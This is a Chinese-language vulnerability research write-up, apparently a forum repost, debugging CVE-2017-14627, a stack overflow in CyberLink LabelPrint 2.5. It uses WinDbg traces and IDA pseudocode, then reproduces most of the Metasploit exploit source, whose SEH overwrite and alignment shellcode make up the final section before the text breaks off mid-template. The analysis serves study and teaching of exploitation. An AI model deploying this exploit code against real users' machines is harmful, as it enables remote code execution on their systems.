CVE-2017-14627栈溢出漏洞及exploit的调试与分析

渗透技巧 2个月前 admin
144 0 0

CVE-2017-14627栈溢出漏洞及exploit的调试与分析

本文为看雪论坛优秀文章

看雪论坛作者ID:DriverUnload


纸上得来终觉浅,绝知此事要躬行  --陆游




前言

最近《漏洞战争》快看完了,也跟着书把漏洞分析了一遍。虽然也有自己的思考,但绝大部分都是复刻书中的操作。以我浅薄的知识,甚至有的时候无法理解某些操作,只好先跟着做,等快分析结束时才能恍然大悟。在分析书中下一个漏洞时,总是有种无从下手的感觉。所以就想着自主分析一下漏洞,顺便沉淀一下所学知识。



漏洞描述

CyberLink LabelPrint是一套快速简易的光盘卷标制作软件,支持最新lightscribe光盘封面刻录技术。 CyberLink LabelPrint 2.5中基于堆栈的缓冲区溢出允许远程攻击者通过lpp项目文件中的(1)author(INFORMATION标签内)、(2)name(INFORMATION标签内),(3)artist(TRACK标签内)或(4)default(TEXT标签内)参数执行任意代码。



漏洞分析

1、分析环境
CVE-2017-14627栈溢出漏洞及exploit的调试与分析

2、生成exploit

此漏洞的利用代码在Metasploit有集成,我们以一个弹计算器的形式生成一个exploit:
CVE-2017-14627栈溢出漏洞及exploit的调试与分析
生成的exploit我们打开后,根据漏洞描述可以确定是name属性造成的堆溢出:

CVE-2017-14627栈溢出漏洞及exploit的调试与分析

我们打开exploit可以看到calc成功弹出,接下里就是分析漏洞成因了。

CVE-2017-14627栈溢出漏洞及exploit的调试与分析

3、定位漏洞函数

首先我们运行LabelPrint,然后打开windbg,并用windbg附加LabelPrint.exe运行,并打开msf.lpp,打开后触发异常:

(f44.968): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=07220042 ebx=01571fb0 ecx=00130000 edx=0722807c esi=01571ae8 edi=00000000eip=7c37042b esp=0012e16c ebp=0012eee4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:Program FilesCyberLinkLabelPrintMSVCR71.dll -MSVCR71!wcscpy+0xb:7c37042b 668901          mov     word ptr [ecx],ax        ds:0023:00130000=63410:000> !address  00130000  Failed to map Heaps (error 80004005)Usage:                  MemoryMappedFileAllocation Base:        00130000Base Address:           00130000End Address:            00134000Region Size:            00004000Type:                   00040000    MEM_MAPPEDState:                  00001000    MEM_COMMITProtect:                00000002    PAGE_READONLYMapped file name:       PageFile

可以看到这是调用MSVCR71!wcscpy的时候,由于循环复制内存数据到栈空间时,未能检测复制的内存大小,导致覆盖到00130000这个只读内存空间,最后造成异常。同时我们再看看栈发生什么变化:

0:000> kbChildEBP RetAddr  Args to Child             WARNING: Stack unwind information not available. Following frames may be wrong.0012eee4 0001001b 002d0042 00010001 00500042 MSVCR71!wcscpy+0xb0012eee8 002d0042 00010001 00500042 005c0042 0x1001b0012eeec 00010001 00500042 005c0042 00250042 0x2d00420012eef0 00500042 005c0042 00250042 007e007e 0x100010012eef4 005c0042 00250042 007e007e 00250042 0x5000420012eef8 00250042 007e007e 00250042 00010001 0x5c00420012eefc 007e007e 00250042 00010001 00350042 0x2500420012ef00 00250042 00010001 00350042 007f007f 0x7e007e0012ef04 00010001 00350042 007f007f 00050042 0x2500420012ef08 00350042 007f007f 00050042 00440044 0x100010012ef0c 007f007f 00050042 00440044 00570042 0x3500420012ef10 00050042 00440044 00570042 00500042 0x7f007f*** ERROR: Module load completed but symbols could not be loaded for C:Program FilesCyberLinkLabelPrintLabelPrint.exe0012ef14 00440044 00570042 00500042 00420042 0x500420012ef18 00570042 00500042 00420042 00420042 LabelPrint+0x400440012ef1c 00500042 00420042 00420042 00420042 0x5700420012ef20 00420042 00420042 00420042 00420042 0x5000420012ef24 00420042 00420042 00420042 00420042 LabelPrint+0x200420012ef28 00420042 00420042 00420042 00420042 LabelPrint+0x200420012ef2c 00420042 00420042 00420042 00420042 LabelPrint+0x200420012ef30 00420042 00420042 00420042 00420042 LabelPrint+0x200420012ef34 00420042 00420042 00420042 00420042 LabelPrint+0x200420012ef38 00420042 00420042 00420042 00420042 LabelPrint+0x200420012ef3c 00420042 00420042 00420042 00420042 LabelPrint+0x200420012ef40 00420042 00420042 00420042 00420042 LabelPrint+0x200420012ef44 00420042 00420042 00420042 00420042 LabelPrint+0x200420012ef48 00420042 00420042 00420042 00420042 LabelPrint+0x200420012ef4c 00420042 00420042 00420042 00420042 LabelPrint+0x200420012ef50 00420042 00420042 00420042 00420042 LabelPrint+0x200420012ef54 00420042 00420042 00420042 00420042 LabelPrint+0x200420012ef58 00420042 00420042 00420042 00420042 LabelPrint+0x20042........
可以看到栈已经被破坏了,反汇编MSVCR71!wcscpy:
0:000> u MSVCR71!wcscpyMSVCR71!wcscpy:7c370420 8b4c2404        mov     ecx,dword ptr [esp+4]7c370424 8b542408        mov     edx,dword ptr [esp+8]7c370428 668b02          mov     ax,word ptr [edx]7c37042b 668901          mov     word ptr [ecx],ax7c37042e 41              inc     ecx7c37042f 41              inc     ecx7c370430 42              inc     edx7c370431 42              inc     edx0:000> uMSVCR71!wcscpy+0x12:7c370432 6685c0          test    ax,ax7c370435 75f1            jne     MSVCR71!wcscpy+0x8 (7c370428)7c370437 8b442404        mov     eax,dword ptr [esp+4]7c37043b c3              ret

可以看到wcscpy没有自己的栈帧,同时也没有任何改变栈的操作,所以栈顶一定存放着返回地址。

0:000> dd esp0012e16c  004657c8 0012e8a8 07226924 75c13e590012e17c  01cba6c0 00120008 75c14677 0721f3dc0012e18c  002962e0 0012eed4 0048b218 000000000012e19c  00410c26 01571ae8 0012e8a8 0012f3600012e1ac  01571fb0 00000000 00369008 01cba4900012e1bc  01cba4ac 01cbabd0 0726eda0 0012e2340012e1cc  01cba458 00000000 00000000 01cba3c80012e1dc  05c755dc 760dc744 0012e204 75db3a0c0:000> ub 004657c8LabelPrint+0x657b4:004657b4 7404            je      LabelPrint+0x657ba (004657ba)004657b6 8b06            mov     eax,dword ptr [esi]004657b8 eb02            jmp     LabelPrint+0x657bc (004657bc)004657ba 33c0            xor     eax,eax004657bc 8b4c242c        mov     ecx,dword ptr [esp+2Ch]004657c0 50              push    eax004657c1 51              push    ecx004657c2 ff150cf14800    call    dword ptr [LabelPrint+0x8f10c (0048f10c)]0:000> dd 0048f10c0048f10c  7c370420 7c378a5d 7c379aca 7c3639fc0048f11c  7c372806 7c38ab8d 7c38b668 7c3901c40048f12c  7c370223 7c36240d 7c37043c 7c3745a00048f13c  7c391173 7c3902cd 7c375867 7c391a3e0048f14c  7c390c31 7c39108f 7c37056a 7c3866550048f15c  7c3704ff 7c378ad2 7c378b03 7c378aeb0048f16c  7c3703f6 00000000 75c14642 75c13e590048f17c  75c13eae 75c36ba7 75c145d2 75c13ed50:000> u 7c370420MSVCR71!wcscpy:7c370420 8b4c2404        mov     ecx,dword ptr [esp+4]7c370424 8b542408        mov     edx,dword ptr [esp+8]7c370428 668b02          mov     ax,word ptr [edx]7c37042b 668901          mov     word ptr [ecx],ax7c37042e 41              inc     ecx7c37042f 41              inc     ecx7c370430 42              inc     edx7c370431 42              inc     edx
可以看到函数在004657c2这个地址调用wcscpy进行内存拷贝,我们将此函数暂且称为vulfunc。用IDA中打开此函数:
int __thiscall vulfunc(_DWORD **this, _DWORD *a2, wchar_t *Destination){.....   v10 = 0;  VariantInit(&pvarg);  v4 = *this[2];  v9 = this[2];  v12 = 0;  if ( (*(int (__stdcall **)(_DWORD *, _DWORD *, int *))(v4 + 28))(v9, a2, &v10) >= 0 && v10 )  {    (*(void (__stdcall **)(int, VARIANTARG *))(*(_DWORD *)v10 + 32))(v10, &pvarg);    if ( pvarg.vt == 8 )    {      sub_4652C0(&pvarg);      v5 = a2 ? (const wchar_t *)*a2 : 0;      wcscpy(Destination, v5);  //这里拷贝造成了异常      if ( a2 )        sub_40D110(a2);    }    VariantClear(&pvarg);    (*(void (__stdcall **)(int))(*(_DWORD *)v10 + 8))(v10);    v12 = -1;    v6 = VariantClear(&pvarg);    if ( v6 < 0 )      sub_483340(v6);    return 0;  }    .....

4、确定函数执行流程

现在我们确定了漏洞函数,重新附加在vulfunc函数头下断:
(a34.5ac): Break instruction exception - code 80000003 (first chance)eax=7ff9b000 ebx=00000000 ecx=00000000 edx=76faec83 esi=00000000 edi=00000000eip=76f43c48 esp=0736ff5c ebp=0736ff88 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246ntdll!DbgBreakPoint:76f43c48 cc              int     30:016> bp 00465730*** ERROR: Module load completed but symbols could not be loaded for C:Program FilesCyberLinkLabelPrintLabelPrint.exe0:016> gModLoad: 6da60000 6dab8000   C:Program FilesCommon Filesmicrosoft sharedinktiptsf.dllModLoad: 6e710000 6e741000   C:Windowssystem32EhStorShell.dllModLoad: 6e6a0000 6e70a000   C:WindowsSystem32cscui.dllModLoad: 6e7e0000 6e7e9000   C:WindowsSystem32CSCDLL.dllModLoad: 6fa00000 6fa0b000   C:Windowssystem32CSCAPI.dllModLoad: 6e630000 6e6a0000   C:Windowssystem32ntshrui.dllModLoad: 74cb0000 74cc9000   C:Windowssystem32srvcli.dllModLoad: 73620000 7362a000   C:Windowssystem32slc.dllModLoad: 6e620000 6e626000   C:Windowssystem32IconCodecService.dllModLoad: 71590000 715ec000   C:WindowsSystem32StructuredQuery.dllModLoad: 6e300000 6e34e000   C:Windowssystem32actxprxy.dllModLoad: 6acf0000 6ad1b000   C:Program FilesInternet Explorerieproxy.dllModLoad: 72430000 72446000   C:Windowssystem32thumbcache.dllModLoad: 6dfc0000 6dfee000   C:Windowssystem32SHDOCVW.dllModLoad: 697f0000 69890000   C:Windowssystem32SearchFolder.dllModLoad: 6ca60000 6cbf8000   C:Windowssystem32NetworkExplorer.dllModLoad: 6f4d0000 6f4d9000   C:Windowssystem32LINKINFO.dllModLoad: 73120000 7312f000   C:Windowssystem32samcli.dllModLoad: 73f80000 73f92000   C:Windowssystem32SAMLIB.dllModLoad: 732c0000 732c9000   C:Windowssystem32netutils.dllBreakpoint 0 hiteax=0710591c ebx=01651fb0 ecx=0012e1b8 edx=00000002 esi=75c13e59 edi=00000000eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202LabelPrint+0x65730:00465730 6aff            push    0FFFFFFFFh

断下后运行会发现再次断下,我们在第5次断下的时候再运行才触发异常:

Breakpoint 0 hiteax=0710591c ebx=01651fb0 ecx=0012e1b8 edx=00000002 esi=75c13e59 edi=00000000eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202LabelPrint+0x65730:00465730 6aff            push    0FFFFFFFFh0:000> gBreakpoint 0 hiteax=0710578c ebx=01651fb0 ecx=0012e1b8 edx=00000000 esi=75c13e59 edi=00000000eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202LabelPrint+0x65730:00465730 6aff            push    0FFFFFFFFh0:000> gBreakpoint 0 hiteax=0710591c ebx=01651fb0 ecx=0012e1b8 edx=00000000 esi=75c13e59 edi=00000000eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202LabelPrint+0x65730:00465730 6aff            push    0FFFFFFFFh0:000> gBreakpoint 0 hiteax=0710578c ebx=01651fb0 ecx=0012e1b8 edx=00000000 esi=75c13e59 edi=0012e6a0eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202LabelPrint+0x65730:00465730 6aff            push    0FFFFFFFFh0:000> gBreakpoint 0 hiteax=0710591c ebx=01651fb0 ecx=0012e1b8 edx=0012e8a8 esi=75c13e59 edi=00000000eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202LabelPrint+0x65730:00465730 6aff            push    0FFFFFFFFh0:000> g(a34.238): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=07190042 ebx=01651fb0 ecx=00130000 edx=07193bec esi=01651ae8 edi=00000000eip=7c37042b esp=0012e16c ebp=0012eee4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:Program FilesCyberLinkLabelPrintMSVCR71.dll -MSVCR71!wcscpy+0xb:7c37042b 668901          mov     word ptr [ecx],ax        ds:0023:00130000=6341

重新加载在第5次断下时,查看此时esp,确定函数调用过程:

Breakpoint 0 hiteax=06eafea4 ebx=01581fb0 ecx=0012e1b8 edx=0012e8a8 esi=75c13e59 edi=00000000eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202LabelPrint+0x65730:00465730 6aff            push    0FFFFFFFFh0:000> dd esp0012e19c  00410c26 06eafea4 0012e8a8 0012f3600012e1ac  01581fb0 00000000 06dcd8c0 01afa4900012e1bc  01afa4ac 01afabd0 06e26658 0012e2340012e1cc  01afa458 00000000 00000000 01afa3c80012e1dc  06e0d464 760dc744 0012e204 75db3a0c0012e1ec  06e389fe 00000000 0012e234 000000000012e1fc  00000000 06eafea4 0012e220 06eafef40012e20c  06e389fe 06eafea4 0012e234 06eafef40:000> ub 00410c26LabelPrint+0x10c05:00410c05 e836b6ffff      call    LabelPrint+0xc240 (0040c240)00410c0a 8b00            mov     eax,dword ptr [eax]00410c0c 8d942400070000  lea     edx,[esp+700h]00410c13 52              push    edx00410c14 50              push    eax00410c15 8d4c2418        lea     ecx,[esp+18h]00410c19 c684243c0d000024 mov     byte ptr [esp+0D3Ch],24h00410c21 e80a4b0500      call    LabelPrint+0x65730 (00465730)  调用vulfunc函数

函数在00410c21地址处调用了vulfunc函数。再用ida查看此函数:

....  v123 = *(_DWORD **)sub_40C240((OLECHAR *)L"title");  LOBYTE(STACK[0xD30]) = 32;  vulfunc(&p_bstrString, v123, (wchar_t *)(a1 + 5876)); //1  v151 = a18;  LOBYTE(STACK[0xD30]) = 0;  a2(v151);  v124 = *(_DWORD **)sub_40C240((OLECHAR *)L"author");  LOBYTE(STACK[0xD30]) = 33;  vulfunc(&p_bstrString, v124, (wchar_t *)(a1 + 6396)); //2  v152 = a20;  LOBYTE(STACK[0xD30]) = 0;  a2(v152);  v125 = *(_DWORD **)sub_40C240((OLECHAR *)L"date");  LOBYTE(STACK[0xD30]) = 34;  vulfunc(&p_bstrString, v125, (wchar_t *)(a1 + 6916)); //3  v153 = a22;  LOBYTE(STACK[0xD30]) = 0;  a2(v153);  LOWORD(STACK[0x2EC]) = 0;  memset(&STACK[0x2EE], 0, 0x204u);  LOWORD(STACK[0x4F2]) = 0;  v126 = *(_DWORD **)sub_40C240((OLECHAR *)L"SystemTime");  LOBYTE(STACK[0xD30]) = 35;  vulfunc(&p_bstrString, v126, (wchar_t *)&STACK[0x2EC]); //4   ......   v106 = *(_DWORD **)sub_40C240((OLECHAR *)L"name");  LOBYTE(STACK[0xD28]) = 36;  vulfunc(&v156, v106, (wchar_t *)&STACK[0x6F4]); //5

现在我们知道为什么vulfunc要调用5次了。而且这些属性正好和exploit中一一对应。但是在vulfunc中仍进行了两次if判断才最终执行wcscpy。所以想要继续确定执行流程,还得分析vulfunc函数。重新加载在vulfunc函数头下断,在第5次断下时单步跟踪确定执行流程:

eax=06eafea4 ebx=01581fb0 ecx=0012e1b8 edx=0012e8a8 esi=75c13e59 edi=00000000eip=00465730 esp=0012e19c ebp=0012eee4 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202LabelPrint+0x65730:00465730 6aff            push    0FFFFFFFFh0:000> dc eax06eafea4  0061006e 0065006d 00320000 00310030  n.a.m.e...2.0.1.06eafeb4  00000035 0000004e 00000000 72b6d559  5...N.......Y..r06eafec4  80000000 0061006b 00650062 0050006c  ....k.a.b.e.l.P.06eafed4  00690072 0074006e 00460020 006c0069  r.i.n.t. .F.i.l.06eafee4  00000065 72b6d55c 88000000 00000014  e.....r........06eafef4  00790053 00740073 006d0065 00690054  S.y.s.t.e.m.T.i.06eaff04  0065006d 00000000 00000000 72b6d563  m.e.........c..r06eaff14  80000000 0061007a 00650062 0050006c  ....z.a.b.e.l.P........ eax=0012e180 ebx=01581fb0 ecx=0012e1b8 edx=0012e8a8 esi=0012e1b8 edi=00000000eip=00465758 esp=0012e174 ebp=0012eee4 iopl=0         nv up ei pl nz ac po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212LabelPrint+0x65758:00465758 ff1588f14800    call    dword ptr [LabelPrint+0x8f188 (0048f188)] ds:0023:0048f188={OLEAUT32!VariantInit (75c13ed5)}0:000> peax=00000000 ebx=01581fb0 ecx=0012e180 edx=0012e8a8 esi=0012e1b8 edi=00000000eip=0046575e esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246LabelPrint+0x6575e:0046575e 8b4608          mov     eax,dword ptr [esi+8] ds:0023:0012e1c0=01afabd00:000> peax=01afabd0 ebx=01581fb0 ecx=0012e180 edx=0012e8a8 esi=0012e1b8 edi=00000000eip=00465761 esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246LabelPrint+0x65761:00465761 8b08            mov     ecx,dword ptr [eax]  ds:0023:01afabd0={msxml3!DOMNamedNodeMapList::`vftable' (6927cc90)}
对应的C代码如下:CVE-2017-14627栈溢出漏洞及exploit的调试与分析

上面先是调用VariantInit初始化pvarg,pvarg是变体类型Variant,Variant 是一种特殊的数据类型,除了定长String数据及用户定义类型外,可以包含任何种类的数据。Variant 也可以包含Empty、Error、Nothing及Null等特殊值。VARIANT数据结构包含两个域(如果不考虑保留的域)。vt域描述了第二个域的数据类型。

之后取DOMNamedNodeMapList对象及其虚表指针。

我们接着往下走:

.....eax=01afabd0 ebx=01581fb0 ecx=6927cc90 edx=06eafea4 esi=0012e1b8 edi=00000000eip=00465776 esp=0012e16c ebp=0012eee4 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246LabelPrint+0x65776:00465776 ff511c          call    dword ptr [ecx+1Ch]  ds:0023:6927ccac={msxml3!DOMNamedNodeMapList::getNamedItem (6927ce11)}0:000>eax=00000000 ebx=01581fb0 ecx=6927ceb2 edx=00000001 esi=0012e1b8 edi=00000000eip=00465779 esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246LabelPrint+0x65779:00465779 85c0            test    eax,eax0:000> peax=01dda6c0 ebx=01661fc8 ecx=6991ceb2 edx=00000001 esi=0012e1b8 edi=00000000eip=00465785 esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246LabelPrint+0x65785:00465785 85c0            test    eax,eax0:000> dd eax01dda6c0  698f6508 698f6608 699b8b60 698f660401dda6d0  0000000e 698f8808 698f65c8 015b864001dda6e0  00000000 00000000 05ba7c97 0000f7f201dda6f0  01dda4e0 01dd00c4 0bbb7c98 0800f7f701dda700  0021cfe8 0000000c 003a0043 0050005c01dda710  006f0072 00720067 006d0061 0061004401dda720  00610074 0043005c 00620079 0072006501dda730  0069004c 006b006e 0045005c 006f00760:000> ln 698f6508(698f6508)   msxml3!DOMNode::`vftable'   |  (69932fbc)   msxml3!DOMChildList::`vftable'Exact matches:    msxml3!DOMNode::`vftable' = <no type information>0:000> peax=00000000 ebx=01581fb0 ecx=6927ceb2 edx=00000001 esi=0012e1b8 edi=00000000eip=0046577b esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246LabelPrint+0x6577b:0046577b 0f8c99000000    jl      LabelPrint+0x6581a (0046581a)           [br=0]

对应的C代码如下:CVE-2017-14627栈溢出漏洞及exploit的调试与分析上面调用了DOMNamedNodeMapList::getNamedItem将DOMNode对象传递给v10,接着跟踪:

.......eax=01dda6c0 ebx=01661fc8 ecx=6991ceb2 edx=00000001 esi=0012e1b8 edi=00000000eip=0046578d esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206LabelPrint+0x6578d:0046578d 8b08            mov     ecx,dword ptr [eax]  ds:0023:01dda6c0={msxml3!DOMNode::`vftable' (698f6508)}0:000>eax=01dda6c0 ebx=01661fc8 ecx=698f6508 edx=00000001 esi=0012e1b8 edi=00000000eip=0046578f esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206LabelPrint+0x6578f:0046578f 8d542408        lea     edx,[esp+8]0:000>eax=01dda6c0 ebx=01661fc8 ecx=698f6508 edx=0012e180 esi=0012e1b8 edi=00000000eip=00465793 esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206LabelPrint+0x65793:00465793 52              push    edx0:000> dd 0012e180                               0012e180 是pvarg的地址0012e180  00120000 75c14677 00491268 002062e0    这里00120000 的低两位是vt,类型为VarType0012e190  0012eed4 0048b218 00000000 00410c26    0012e180+8是bstrVal0012e1a0  07006984 0012e8a8 0012f360 01661fc80012e1b0  00000000 05c7d838 01dda490 01dda4ac0012e1c0  01ddabd0 06f24638 0012e234 01dda4580012e1d0  00000000 00000000 01dda3c8 06f80f740012e1e0  760dc744 0012e204 75db3a0c 06fe9e760012e1f0  00000000 0012e234 00000000 000000000:000> dc 0049126800491268  0061006e 0065006d 00000000 00520054  n.a.m.e.....T.R.00491278  00430041 0000004b 00790053 00740073  A.C.K...S.y.s.t.00491288  006d0065 00690054 0065006d 00000000  e.m.T.i.m.e.....00491298  00610064 00650074 00000000 00750061  d.a.t.e.....a.u.004912a8  00680074 0072006f 00000000 00690074  t.h.o.r.....t.i.004912b8  006c0074 00000065 004e0049 004f0046  t.l.e...I.N.F.O.004912c8  004d0052 00540041 004f0049 0000004e  R.M.A.T.I.O.N...004912d8  006f0062 00640072 00720065 0063005f  b.o.r.d.e.r._.c.0:000> peax=01dda6c0 ebx=01661fc8 ecx=698f6508 edx=0012e180 esi=0012e1b8 edi=00000000eip=00465794 esp=0012e174 ebp=0012eee4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206LabelPrint+0x65794:00465794 50              push    eax0:000>eax=01dda6c0 ebx=01661fc8 ecx=698f6508 edx=0012e180 esi=0012e1b8 edi=00000000eip=00465795 esp=0012e170 ebp=0012eee4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206LabelPrint+0x65795:00465795 ff5120          call    dword ptr [ecx+20h]  ds:0023:698f6528={msxml3!DOMNode::get_nodeValue (6992eb26)}0:000>eax=00000000 ebx=01661fc8 ecx=6992ebd1 edx=00000001 esi=0012e1b8 edi=00000000eip=00465798 esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246LabelPrint+0x65798:00465798 66837c240808    cmp     word ptr [esp+8],8       ss:0023:0012e180=00080:000> dd 0012e180                                  0012e180 是pvarg的地址0012e180  00120008 75c14677 06fb65f4 002062e0       00120008 低两位为8代表字符串0012e190  0012eed4 0048b218 00000000 00410c26       0012e180+8是bstrVal0012e1a0  07006984 0012e8a8 0012f360 01661fc80012e1b0  00000000 05c7d838 01dda490 01dda4ac0012e1c0  01ddabd0 06f24638 0012e234 01dda4580012e1d0  00000000 00000000 01dda3c8 06f80f740012e1e0  760dc744 0012e204 75db3a0c 06fe9e760012e1f0  00000000 0012e234 00000000 000000000:000> dc 06fb65f406fb65f4  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.06fb6604  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.06fb6614  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.06fb6624  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.06fb6634  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.06fb6644  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.06fb6654  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.06fb6664  00420042 00420042 00420042 00420042  B.B.B.B.B.B.B.B.

对应C代码如下:

CVE-2017-14627栈溢出漏洞及exploit的调试与分析

VarType如下:
CVE-2017-14627栈溢出漏洞及exploit的调试与分析
由上可知通过调用DOMNode::get_nodeValue将pvarg.vt赋值为8,同时取name属性中的值放入pvarg.bstrVal中。

接下来就是一些数值传递:
CVE-2017-14627栈溢出漏洞及exploit的调试与分析
最后调用拷贝函数,在此之前需要确定拷贝的目标地址:

eax=06fbdb3c ebx=01661fc8 ecx=0012e8a8 edx=00000000 esi=0167ca60 edi=00000000eip=004657c0 esp=0012e178 ebp=0012eee4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206LabelPrint+0x657c0:004657c0 50              push    eax0:000>eax=06fbdb3c ebx=01661fc8 ecx=0012e8a8 edx=00000000 esi=0167ca60 edi=00000000eip=004657c1 esp=0012e174 ebp=0012eee4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206LabelPrint+0x657c1:004657c1 51              push    ecx0:000>eax=06fbdb3c ebx=01661fc8 ecx=0012e8a8 edx=00000000 esi=0167ca60 edi=00000000eip=004657c2 esp=0012e170 ebp=0012eee4 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206LabelPrint+0x657c2:*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:Program FilesCyberLinkLabelPrintMSVCR71.dll -004657c2 ff150cf14800    call    dword ptr [LabelPrint+0x8f10c (0048f10c)] ds:0023:0048f10c={MSVCR71!wcscpy (7c370420)}
拷贝的目标地址为0012e8a8。

5、总结

由于程序在调用vulfunc读取属性值的时候,没有计算属性值所占用的空间大小,最终在复制时导致溢出。




exploit分析

1、msf exploit源码

码如下:

我的win7 x86环境下的参数'Ret' => "x2cx44",'Offset' => 790,'Padding1' => 857,'Padding2' => 104 def exploit  nop = "x42"  junk = 'ABC'.split('').sample              #junk must specifically static (A, B, and C only)  buffer = ""  buffer << junk * target['Offset']  buffer << "x61x42"       # nseh  buffer << target['Ret']    # seh   #we need to encode the RET address, since RET (xc3) is known as bad char.  #preparing address to land the decoded RET  buffer << nop              #nop/inc edx  buffer << "x54"           #push esp  buffer << nop              #nop/inc edx  buffer << "x58"           #pop eax  buffer << nop              #nop/inc edx  buffer << "x05x1Bx01"   #add eax 01001B00  buffer << nop              #nop/inc edx  buffer << "x2dx01x01"   #sub eax 01001000  buffer << nop              #nop/inc edx  buffer << "x50"           #push eax  buffer << nop              #nop/inc edx  buffer << "x5c"           #pop esp   #preparing RET opcode (c300c300)  buffer << nop              #nop/inc edx  buffer << "x25x7ex7e"   #and eax,7e007e00  buffer << nop              #nop/inc edx  buffer << "x25x01x01"   #and eax,01000100  buffer << nop              #nop/inc edx  buffer << "x35x7fx7f"   #xor eax,7f007f00  buffer << nop              #nop/inc edx  buffer << "x05x44x44"   #add eax,44004400  buffer << nop              #nop/inc edx  buffer << "x57"           #push edi as padding, needed to align stack  buffer << nop              #nop/inc edx  buffer << "x50"           #push eax  buffer << junk * target['Padding1'] #OS specific   #custom venetian to reach shellcode  buffer << "x58"           #pop eax  buffer << nop              #nop/inc edx  buffer << "x58"           #pop eax  buffer << nop              #nop/inc edx  buffer << "x05x09x01"   #depending OS  buffer << nop              #nop/inc edx  buffer << "x2dx01x01"   #add eax, 01000100, this will align eax to our buffer  buffer << nop              #nop/inc edx  buffer << "x50"           #push eax  buffer << nop              #nop/inc edx   #crafting call esp at 0x7c32537b (MFC71U.dll) to make a jump using call esp  buffer << "x5C"           #pop esp  buffer << nop              #nop/inc edx  buffer << "x58"           #pop eax  buffer << nop              #nop/inc edx  buffer << "x05x53x7c"   #add eax 7c005300 part of call esp  buffer << nop              #nop/inc edx  buffer << "x50"           #push eax  buffer << junk * target['Padding2'] #OS specific  buffer << "x7bx32"       #part of call esp   #preparing for jump to shellcode, placing in eax.  buffer << junk * 114       #junk  buffer << "x57"           #push edi  buffer << nop              #nop/inc edx  buffer << "x58"           #pop eax  buffer << nop              #nop/inc edx  buffer << "x05x0Ax01"   #depending OS  buffer << nop              #nop/inc edx  buffer << "x2dx01x01"   #sub eax,01000100  buffer << nop              #nop/inc edx  buffer << get_payload(payload.encoded)  buffer << junk * (payload.space-buffer.length)      #fill the rest of buffer, must be added.   lpp_data = <<-EOS  <PROJECT version="1.0.00">    <INFORMATION title="" author="" 